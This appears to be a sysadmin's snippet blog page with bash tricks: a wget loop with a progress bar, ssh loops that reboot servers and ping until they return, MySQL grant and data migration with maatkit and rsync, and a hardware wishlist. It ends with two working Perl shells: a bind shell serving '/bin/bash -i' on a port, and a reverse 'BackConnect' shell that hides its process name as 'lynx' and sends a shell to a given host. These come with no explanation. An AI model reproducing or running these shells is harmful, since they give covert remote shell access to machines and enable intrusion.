simple progress bar in bash script

Example of a simple progress bar in bash script:

#!/bin/bash

PAGELOADS=30000;
PBAR_LEN=30;
PBAR_STEP=$[$PAGELOADS/$PBAR_LEN]

for i in `seq 1 $PAGELOADS`
do
fname="`date +%F-%T`.html"
time wget http://site/page -O $fname >> .log 2>>.log
cat $fname | grep NATURE > /dev/null && rm $fname
sleep 1

#simple progress bar for fun:
clear;
PBAR=$[$i/$PBAR_STEP]
echo -n "[";
for j in `seq 1 $PBAR_LEN`
do
if [ $j -gt $PBAR ]; then
echo -n ".";
else
echo -n "*";
fi
done
echo "] [$i/$PAGELOADS]";

done

[bash] ping a host until it responds

example:

# for i in `cat ~/mysql-list.txt`; do ssh -t root@${i} "hostname; date; echo \"FLUSH TABLES;\" | mysql; shutdown -fr now && date; sleep 40"; sleep 20; while true; do ping -c1 -W2 ${i} 2>&1 >/dev/null; if [[ "$?" == "0" ]]; then ping -c1 ${i}; break; fi; done; done

# for i in `seq -w 1 459`; do ssh root@srv0${i} "hostname; date; shutdown -fr now && date; sleep 40"; sleep 20; while true; do ping -c1 -W2 srv0${i} 2>&1 >/dev/null; if [[ "$?" == "0" ]]; then ping -c1 srv0${i}; break; fi; done; done

——

bash simple progress counter example
p=0; t=0; for USER in `ls /home/www`; do t=$(($t+1)); test "current_user" = "${USER}" && p=$t; done; echo $p "/" $t

mysql db and privileges transfer;

Simple solution  for transfering privileges between mysql servers.

Maatkit – a toolkit for users, developers, and administrators of open-source databases.

Package maatkit (http://www.maatkit.org),  contains the useful script mk-show-grants.

mk-show-grants – Canonicalize and print MySQL grants so you can effectively replicate, compare and version-control them.
mk-show-grants | egrep -v "(debian-sys-maint'@'localhost|'root'@)" | ssh root@dst mysql
apt-get install maatkit rsync
mk-show-grants --flush | egrep -v "('debian-sys-maint'|'root'|'backup')" | ssh root@dst "cat > ~/mysql-grants.sql"
—–
transfer data:
1a. (it would require a ssh key)
# for i in `ls -1 /home/mysql | egrep -v "(^mysql|^ib)"`; do rsync -avz --compress-level=1 -e ssh --delete /home/mysql/${i}/ root@mysql_dst:/home/mysql/${i}/; done
1b. (it would not remove deleted tables)
rsync -avz --compress-level=1 -e ssh --exclude=/mysql* --exclude=/ibdata* --exclude=/ib_logfile* /home/mysql/ root@mysql_dst:/home/mysql/
2. r/o
mysql> FLUSH TABLES WITH READ LOCK;
mysql> SET GLOBAL read_only = ON;
echo "FLUSH TABLES; FLUSH TABLES WITH READ LOCK; SET GLOBAL read_only = ON;" | mysql
to set it back to r/w mode:
#echo "SET GLOBAL read_only = OFF; UNLOCK TABLES;" | mysql
3. sync1: repeat step1
4. sync2:
mk-show-grants | egrep -v "(debian-sys-maint'@'localhost|'root'@)" | ssh root@dst mysql

new rig wishlist

Total: about 1500USD

perl bind port

#!/usr/bin/perl
$SHELL="/bin/bash -i";
if (@ARGV < 1) { exit(1); }
$LISTEN_PORT=$ARGV[0];
use Socket;
$protocol=getprotobyname('tcp');
socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket\n";
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port\n";
listen(S,3) || die "Cant listen port\n";
while(1)
{
accept(CONN,S);
if(!($pid=fork))
{
die "Cannot fork" if (!defined $pid);
open STDIN,"<&CONN";
open STDOUT,">&CONN";
open STDERR,">&CONN";
exec $SHELL || die print CONN "Cant execute $SHELL\n";
close CONN;
exit 0;
}
}

——
#!/usr/bin/perl
use Socket;
$cmd= "lynx";
$system= 'echo "BackConnect";echo "`uname -a`";echo "`id`";/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);